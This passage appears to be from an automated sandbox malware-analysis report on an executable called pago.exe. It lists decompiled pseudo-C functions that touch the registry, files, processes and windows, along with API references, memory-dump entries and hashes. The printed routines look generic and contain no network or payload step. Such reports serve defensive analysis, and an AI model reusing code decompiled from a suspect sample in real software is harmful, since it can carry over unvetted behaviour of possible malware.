                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: CharNext$Directory$AttributesCreateCurrentFile
                                                                  • String ID:
                                                                  • API String ID: 1892508949-0
                                                                  • Opcode ID: b33db422fb51fa5ecbdb099e32eb378baf88cce1f79279cf93775203c76b05d0
                                                                  • Instruction ID: 910f9ca0e916fbda017ea5bccd1daba2d9720f9cae8b5c5670dceb894c5ef12e
                                                                  • Opcode Fuzzy Hash: b33db422fb51fa5ecbdb099e32eb378baf88cce1f79279cf93775203c76b05d0
                                                                  • Instruction Fuzzy Hash: 3E11D031504110EBCF216FA5CD4099F36A0EF25369B28493BE945B52F1DA3E4A829A8E
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  C-Code - Quality: 84%
                                                                  			E0040252A(int* __ebx, char* __edi) {
                                                                  				void* _t17;
                                                                  				short* _t18;
                                                                  				void* _t35;
                                                                  				void* _t37;
                                                                  				void* _t40;
                                                                  
                                                                  				_t33 = __edi;
                                                                  				_t27 = __ebx;
                                                                  				_t17 = E00402DE6(_t40, 0x20019); // executed
                                                                  				_t35 = _t17;
                                                                  				_t18 = E00402DA6(0x33);
                                                                  				 *__edi = __ebx;
                                                                  				if(_t35 == __ebx) {
                                                                  					 *(_t37 - 4) = 1;
                                                                  				} else {
                                                                  					 *(_t37 - 0x10) = 0x800;
                                                                  					if(RegQueryValueExW(_t35, _t18, __ebx, _t37 + 8, __edi, _t37 - 0x10) != 0) {
                                                                  						L7:
                                                                  						 *_t33 = _t27;
                                                                  						 *(_t37 - 4) = 1;
                                                                  					} else {
                                                                  						if( *(_t37 + 8) == 4) {
                                                                  							__eflags =  *(_t37 - 0x20) - __ebx;
                                                                  							 *(_t37 - 4) = 0 |  *(_t37 - 0x20) == __ebx;
                                                                  							E00406484(__edi,  *__edi);
                                                                  						} else {
                                                                  							if( *(_t37 + 8) == 1 ||  *(_t37 + 8) == 2) {
                                                                  								 *(_t37 - 4) =  *(_t37 - 0x20);
                                                                  								_t33[0x7fe] = _t27;
                                                                  							} else {
                                                                  								goto L7;
                                                                  							}
                                                                  						}
                                                                  					}
                                                                  					_push(_t35); // executed
                                                                  					RegCloseKey(); // executed
                                                                  				}
                                                                  				 *0x434f88 =  *0x434f88 +  *(_t37 - 4);
                                                                  				return 0;
                                                                  			}








                                                                  0x0040252a
                                                                  0x0040252a
                                                                  0x0040252f
                                                                  0x00402536
                                                                  0x00402538
                                                                  0x0040253f
                                                                  0x00402542
                                                                  0x0040292e
                                                                  0x00402548
                                                                  0x0040254b
                                                                  0x00402566
                                                                  0x00402596
                                                                  0x00402596
                                                                  0x00402599
                                                                  0x00402568
                                                                  0x0040256c
                                                                  0x00402585
                                                                  0x0040258c
                                                                  0x0040258f
                                                                  0x0040256e
                                                                  0x00402571
                                                                  0x0040257c
                                                                  0x004025f5
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00402571
                                                                  0x0040256c
                                                                  0x004025fc
                                                                  0x004025fd
                                                                  0x004025fd
                                                                  0x00402c2d
                                                                  0x00402c39

                                                                  APIs
                                                                  • RegQueryValueExW.ADVAPI32(00000000,00000000,?,?,?,?,?,?,?,?,00000033), ref: 0040255B
                                                                  • RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsaB9F5.tmp,00000000,00000011,00000002), ref: 004025FD
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: CloseQueryValue
                                                                  • String ID:
                                                                  • API String ID: 3356406503-0
                                                                  • Opcode ID: f797ef2d0c6e2e82108cd0d54da040e491485f94bf917962582feee525e5e0c5
                                                                  • Instruction ID: 3e5dab0bbcc9b7b4348569693e39c51bc0b27c59e8ea0ed6abb05ebc10b9b344
                                                                  • Opcode Fuzzy Hash: f797ef2d0c6e2e82108cd0d54da040e491485f94bf917962582feee525e5e0c5
                                                                  • Instruction Fuzzy Hash: 5F116D71900219EADF14DFA4DA589AE77B4FF04345B20443BE401B62C0E7B88A45EB5D
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  C-Code - Quality: 69%
                                                                  			E00401389(signed int _a4) {
                                                                  				intOrPtr* _t6;
                                                                  				void* _t8;
                                                                  				void* _t10;
                                                                  				signed int _t11;
                                                                  				void* _t12;
                                                                  				signed int _t16;
                                                                  				signed int _t17;
                                                                  				void* _t18;
                                                                  
                                                                  				_t17 = _a4;
                                                                  				while(_t17 >= 0) {
                                                                  					_t6 = _t17 * 0x1c +  *0x434f30;
                                                                  					if( *_t6 == 1) {
                                                                  						break;
                                                                  					}
                                                                  					_push(_t6); // executed
                                                                  					_t8 = E00401434(); // executed
                                                                  					if(_t8 == 0x7fffffff) {
                                                                  						return 0x7fffffff;
                                                                  					}
                                                                  					_t10 = E0040136D(_t8);
                                                                  					if(_t10 != 0) {
                                                                  						_t11 = _t10 - 1;
                                                                  						_t16 = _t17;
                                                                  						_t17 = _t11;
                                                                  						_t12 = _t11 - _t16;
                                                                  					} else {
                                                                  						_t12 = _t10 + 1;
                                                                  						_t17 = _t17 + 1;
                                                                  					}
                                                                  					if( *((intOrPtr*)(_t18 + 0xc)) != 0) {
                                                                  						 *0x433eec =  *0x433eec + _t12;
                                                                  						SendMessageW( *(_t18 + 0x18), 0x402, MulDiv( *0x433eec, 0x7530,  *0x433ed4), 0); // executed
                                                                  					}
                                                                  				}
                                                                  				return 0;
                                                                  			}











                                                                  0x0040138a
                                                                  0x004013fa
                                                                  0x0040139b
                                                                  0x004013a0
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x004013a2
                                                                  0x004013a3
                                                                  0x004013ad
                                                                  0x00000000
                                                                  0x00401404
                                                                  0x004013b0
                                                                  0x004013b7
                                                                  0x004013bd
                                                                  0x004013be
                                                                  0x004013c0
                                                                  0x004013c2
                                                                  0x004013b9
                                                                  0x004013b9
                                                                  0x004013ba
                                                                  0x004013ba
                                                                  0x004013c9
                                                                  0x004013cb
                                                                  0x004013f4
                                                                  0x004013f4
                                                                  0x004013c9
                                                                  0x00000000

                                                                  APIs
                                                                  • MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
                                                                  • SendMessageW.USER32(?,00000402,00000000), ref: 004013F4
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: MessageSend
                                                                  • String ID:
                                                                  • API String ID: 3850602802-0
                                                                  • Opcode ID: d8feea9b0bd879c8f8267a4ec85e9a32d700cac98845316580bbb569ce856791
                                                                  • Instruction ID: f98c5e72cab4da6dd47fcf147c12dc0649e5852bd482257a86ca63d172a8b8d6
                                                                  • Opcode Fuzzy Hash: d8feea9b0bd879c8f8267a4ec85e9a32d700cac98845316580bbb569ce856791
                                                                  • Instruction Fuzzy Hash: 0B01F4316202209FE7094B389D05B6A3698E710319F14823FF851F65F1EA78DC029B4C
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  C-Code - Quality: 100%
                                                                  			E00402434(void* __ebx) {
                                                                  				long _t7;
                                                                  				void* _t10;
                                                                  				void* _t14;
                                                                  				long _t18;
                                                                  				intOrPtr _t20;
                                                                  				void* _t22;
                                                                  				void* _t23;
                                                                  
                                                                  				_t14 = __ebx;
                                                                  				_t26 =  *(_t23 - 0x20) - __ebx;
                                                                  				_t20 =  *((intOrPtr*)(_t23 - 0x2c));
                                                                  				if( *(_t23 - 0x20) != __ebx) {
                                                                  					_t7 = E00402E64(_t20, E00402DA6(0x22),  *(_t23 - 0x20) >> 1); // executed
                                                                  					_t18 = _t7;
                                                                  					goto L4;
                                                                  				} else {
                                                                  					_t10 = E00402DE6(_t26, 2); // executed
                                                                  					_t22 = _t10;
                                                                  					if(_t22 == __ebx) {
                                                                  						L6:
                                                                  						 *((intOrPtr*)(_t23 - 4)) = 1;
                                                                  					} else {
                                                                  						_t18 = RegDeleteValueW(_t22, E00402DA6(0x33));
                                                                  						RegCloseKey(_t22);
                                                                  						L4:
                                                                  						if(_t18 != _t14) {
                                                                  							goto L6;
                                                                  						}
                                                                  					}
                                                                  				}
                                                                  				 *0x434f88 =  *0x434f88 +  *((intOrPtr*)(_t23 - 4));
                                                                  				return 0;
                                                                  			}










                                                                  0x00402434
                                                                  0x00402434
                                                                  0x00402437
                                                                  0x0040243a
                                                                  0x00402476
                                                                  0x0040247b
                                                                  0x00000000
                                                                  0x0040243c
                                                                  0x0040243e
                                                                  0x00402443
                                                                  0x00402447
                                                                  0x0040292e
                                                                  0x0040292e
                                                                  0x0040244d
                                                                  0x0040245d
                                                                  0x0040245f
                                                                  0x0040247d
                                                                  0x0040247f
                                                                  0x00000000
                                                                  0x00402485
                                                                  0x0040247f
                                                                  0x00402447
                                                                  0x00402c2d
                                                                  0x00402c39

                                                                  APIs
                                                                  • RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 00402456
                                                                  • RegCloseKey.ADVAPI32(00000000), ref: 0040245F
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: CloseDeleteValue
                                                                  • String ID:
                                                                  • API String ID: 2831762973-0
                                                                  • Opcode ID: 26c7bbe08243d04bc546d5e796cf8e3d3467160ca4cc8197957f0192bba27813
                                                                  • Instruction ID: 30df5d2aec36195d54007c6df5f336708121daf1b93815cec1e8c6dbc8099d71
                                                                  • Opcode Fuzzy Hash: 26c7bbe08243d04bc546d5e796cf8e3d3467160ca4cc8197957f0192bba27813
                                                                  • Instruction Fuzzy Hash: 22F0C232A00120EBDB11ABB89B4DAED72A8AF84314F15443BE141B71C0DAFC5D01866D
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  APIs
                                                                  • ShowWindow.USER32(00000000,00000000), ref: 00401EFC
                                                                  • EnableWindow.USER32(00000000,00000000), ref: 00401F07
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: Window$EnableShow
                                                                  • String ID:
                                                                  • API String ID: 1136574915-0
                                                                  • Opcode ID: dc6c04349ba6d228002943a8c0baf5b02fcea73b120ed6c720f8467004a60d34
                                                                  • Instruction ID: ff95e9915c8c9942b49c08d49a5710ecdabad47c7be9b03b7ba0a01474a23479
                                                                  • Opcode Fuzzy Hash: dc6c04349ba6d228002943a8c0baf5b02fcea73b120ed6c720f8467004a60d34
                                                                  • Instruction Fuzzy Hash: E7E04872908211CFE705EBA4EE495AD77F4EF40325710497FE501F11D1DBB55D00965D
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  C-Code - Quality: 100%
                                                                  			E00405B20(WCHAR* _a4) {
                                                                  				struct _PROCESS_INFORMATION _v20;
                                                                  				int _t7;
                                                                  
                                                                  				0x430270->cb = 0x44;
                                                                  				_t7 = CreateProcessW(0, _a4, 0, 0, 0, 0x4000000, 0, 0, 0x430270,  &_v20); // executed
                                                                  				if(_t7 != 0) {
                                                                  					CloseHandle(_v20.hThread);
                                                                  					return _v20.hProcess;
                                                                  				}
                                                                  				return _t7;
                                                                  			}





                                                                  0x00405b29
                                                                  0x00405b49
                                                                  0x00405b51
                                                                  0x00405b56
                                                                  0x00000000
                                                                  0x00405b5c
                                                                  0x00405b60

                                                                  APIs
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: CloseCreateHandleProcess
                                                                  • String ID:
                                                                  • API String ID: 3712363035-0
                                                                  • Opcode ID: 4cad7792158b69fc064c933527736888f22fedd2346a68a48c9e5725d4d2403f
                                                                  • Instruction ID: 0547baa0b497a95b6ed0e8f273b1969b1ac2c9598ef2001c301bcde660c6e2d6
                                                                  • Opcode Fuzzy Hash: 4cad7792158b69fc064c933527736888f22fedd2346a68a48c9e5725d4d2403f
                                                                  • Instruction Fuzzy Hash: 3EE092B4600209BFEB10AB64AE49F7B7AACEB04704F004565BA51E61A1DB78E8158A78
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  C-Code - Quality: 100%
                                                                  			E00401573(void* __ebx) {
                                                                  				int _t4;
                                                                  				void* _t9;
                                                                  				struct HWND__* _t11;
                                                                  				struct HWND__* _t12;
                                                                  				void* _t16;
                                                                  
                                                                  				_t9 = __ebx;
                                                                  				_t11 =  *0x433ed0; // 0x103b6
                                                                  				if(_t11 != __ebx) {
                                                                  					ShowWindow(_t11,  *(_t16 - 0x2c)); // executed
                                                                  					_t4 =  *(_t16 - 0x30);
                                                                  				}
                                                                  				_t12 =  *0x433ee4; // 0x103b0
                                                                  				if(_t12 != _t9) {
                                                                  					ShowWindow(_t12, _t4); // executed
                                                                  				}
                                                                  				 *0x434f88 =  *0x434f88 +  *((intOrPtr*)(_t16 - 4));
                                                                  				return 0;
                                                                  			}








                                                                  0x00401573
                                                                  0x00401573
                                                                  0x00401581
                                                                  0x00401587
                                                                  0x00401589
                                                                  0x00401589
                                                                  0x0040158c
                                                                  0x00401594
                                                                  0x0040159c
                                                                  0x0040159c
                                                                  0x00402c2d
                                                                  0x00402c39

                                                                  APIs
                                                                  • ShowWindow.USER32(000103B6,?), ref: 00401587
                                                                  • ShowWindow.USER32(000103B0), ref: 0040159C
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: ShowWindow
                                                                  • String ID:
                                                                  • API String ID: 1268545403-0
                                                                  • Opcode ID: b3f40a1d3e3a3dde960193cdce1f04755895f92ce13450372c8703cd9cac8f58
                                                                  • Instruction ID: a156d7c756385a3c588793d51facb92f34767ed8181f20582b2048d309791e4b
                                                                  • Opcode Fuzzy Hash: b3f40a1d3e3a3dde960193cdce1f04755895f92ce13450372c8703cd9cac8f58
                                                                  • Instruction Fuzzy Hash: 25E04F76B101149BCB05DFA8ED908AEB3A6EB84311314483BE502B3290D675AD048B18
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  C-Code - Quality: 100%
                                                                  			E0040690A(signed int _a4) {
                                                                  				struct HINSTANCE__* _t5;
                                                                  				signed int _t10;
                                                                  
                                                                  				_t10 = _a4 << 3;
                                                                  				_t8 =  *(_t10 + 0x40a3e0);
                                                                  				_t5 = GetModuleHandleA( *(_t10 + 0x40a3e0));
                                                                  				if(_t5 != 0) {
                                                                  					L2:
                                                                  					return GetProcAddress(_t5,  *(_t10 + 0x40a3e4));
                                                                  				}
                                                                  				_t5 = E0040689A(_t8); // executed
                                                                  				if(_t5 == 0) {
                                                                  					return 0;
                                                                  				}
                                                                  				goto L2;
                                                                  			}





                                                                  0x00406912
                                                                  0x00406915
                                                                  0x0040691c
                                                                  0x00406924
                                                                  0x00406930
                                                                  0x00000000
                                                                  0x00406937
                                                                  0x00406927
                                                                  0x0040692e
                                                                  0x00000000
                                                                  0x0040693f
                                                                  0x00000000

                                                                  APIs
                                                                  • GetModuleHandleA.KERNEL32(?,00000020,?,0040363D,0000000B), ref: 0040691C
                                                                  • GetProcAddress.KERNEL32(00000000,?), ref: 00406937
                                                                    • Part of subcall function 0040689A: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004068B1
                                                                    • Part of subcall function 0040689A: wsprintfW.USER32 ref: 004068EC
                                                                    • Part of subcall function 0040689A: LoadLibraryExW.KERNELBASE(?,00000000,00000008), ref: 00406900
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
                                                                  • String ID:
                                                                  • API String ID: 2547128583-0
                                                                  • Opcode ID: c7c26614299f557633109f7ac2ccf4e744cd73af09153470ea8035ac80f12020
                                                                  • Instruction ID: 98bdf7d71c6046f852b78b75196177710d0a141037308efd39b2ac7baa162fea
                                                                  • Opcode Fuzzy Hash: c7c26614299f557633109f7ac2ccf4e744cd73af09153470ea8035ac80f12020
                                                                  • Instruction Fuzzy Hash: 9FE0867390422066D21196745D44D7773A89B99750306443EF946F2090DB38DC31A76E
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  C-Code - Quality: 100%
                                                                  			E00402C05(signed int __eax) {
                                                                  				RECT* _t10;
                                                                  				void* _t16;
                                                                  
                                                                  				SendMessageW( *(_t16 - 8), 0xb,  *0x42f268 & __eax, _t10); // executed
                                                                  				if( *((intOrPtr*)(_t16 - 0x30)) != _t10) {
                                                                  					InvalidateRect( *(_t16 - 8), _t10, _t10);
                                                                  				}
                                                                  				 *0x434f88 =  *0x434f88 +  *((intOrPtr*)(_t16 - 4));
                                                                  				return 0;
                                                                  			}





                                                                  0x00402c14
                                                                  0x00402c1d
                                                                  0x00402c24
                                                                  0x00402c24
                                                                  0x00402c2d
                                                                  0x00402c39

                                                                  APIs
                                                                  • SendMessageW.USER32(?,0000000B,?), ref: 00402C14
                                                                  • InvalidateRect.USER32(?), ref: 00402C24
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: InvalidateMessageRectSend
                                                                  • String ID:
                                                                  • API String ID: 909852535-0
                                                                  • Opcode ID: 0509652848a83ac1d7feddac23dc24ced32f84c0220a85d8a6f2313ae5a63aab
                                                                  • Instruction ID: 5efb85e177e5feb05262591b5578bbf68be0fc1facb886aaf0ec985341d6bcc2
                                                                  • Opcode Fuzzy Hash: 0509652848a83ac1d7feddac23dc24ced32f84c0220a85d8a6f2313ae5a63aab
                                                                  • Instruction Fuzzy Hash: CEE08C72700008FFEB01CBA4EE84DAEB779FB40315B00007AF502A00A0D7300D40DA28
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  C-Code - Quality: 68%
                                                                  			E0040602D(WCHAR* _a4, long _a8, long _a12) {
                                                                  				signed int _t5;
                                                                  				void* _t6;
                                                                  
                                                                  				_t5 = GetFileAttributesW(_a4); // executed
                                                                  				asm("sbb ecx, ecx");
                                                                  				_t6 = CreateFileW(_a4, _a8, 1, 0, _a12,  ~(_t5 + 1) & _t5, 0); // executed
                                                                  				return _t6;
                                                                  			}





                                                                  0x00406031
                                                                  0x0040603e
                                                                  0x00406053
                                                                  0x00406059

                                                                  APIs
                                                                  • GetFileAttributesW.KERNELBASE(00000003,004030BD,C:\Users\user\Desktop\pago.exe,80000000,00000003,?,?,?,?,?,0040387D,?), ref: 00406031
                                                                  • CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,?,?,0040387D,?), ref: 00406053
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
